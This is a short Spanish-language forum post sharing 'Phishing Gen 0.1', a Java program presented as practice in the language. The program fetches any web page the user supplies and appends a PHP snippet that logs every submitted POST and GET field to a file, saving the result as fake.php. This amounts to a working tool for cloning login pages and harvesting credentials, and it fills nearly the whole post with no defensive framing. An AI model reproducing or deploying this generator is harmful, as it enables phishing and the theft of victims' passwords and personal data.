Tratando de practicar este lenguaje hice este simple generador de fakes.

//Phishing Gen 0.1
//Coded By Doddy H
 
import java.util.Scanner;
import java.net.*;
import java.io.*;
 
public class Main {
 
    public static void main(String[] args) throws Exception {
 
        String code;
        String iny;
        String pagina;
 
        Scanner host = new Scanner(System.in);
        System.out.println("\n\n-- == Phishing Gen 0.1 == --\n\n");
        System.out.println("[+] Pagina : ");
        pagina = host.nextLine();
 
        iny = "<?php $file = fopen('dump.txt','a');foreach($_POST as $uno => $dos) {fwrite($file, $uno.'='.$dos.'\r\n');}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres.'='.$cuatro.'\r\n');}fclose($file); ?>";
 
        code = toma(pagina);
 
        savefile("fake.php", code + iny);
 
        System.out.println("\n[+] Fake Ready");
 
        System.out.println("\n\n-- == Coded By Doddy H == --\n\n");
    }
 
    private static String toma(String urla) throws Exception {
 
        String re;
 
        StringBuffer conte = new StringBuffer(40);
 
        URL url = new URL(urla);
        URLConnection hc = url.openConnection();
        hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
 
        BufferedReader nave = new BufferedReader(
                new InputStreamReader(hc.getInputStream()));
 
        while ((re = nave.readLine()) != null) {
            conte.append(re);
        }
 
        nave.close();
 
        return conte.toString();
    }
 
    private static void savefile(String nombre, String texto) throws Exception {
 
        FileWriter writer = new FileWriter(nombre, true);
        writer.write(texto + "\r\n");
        writer.close();
 
    }
}
 
//The End ?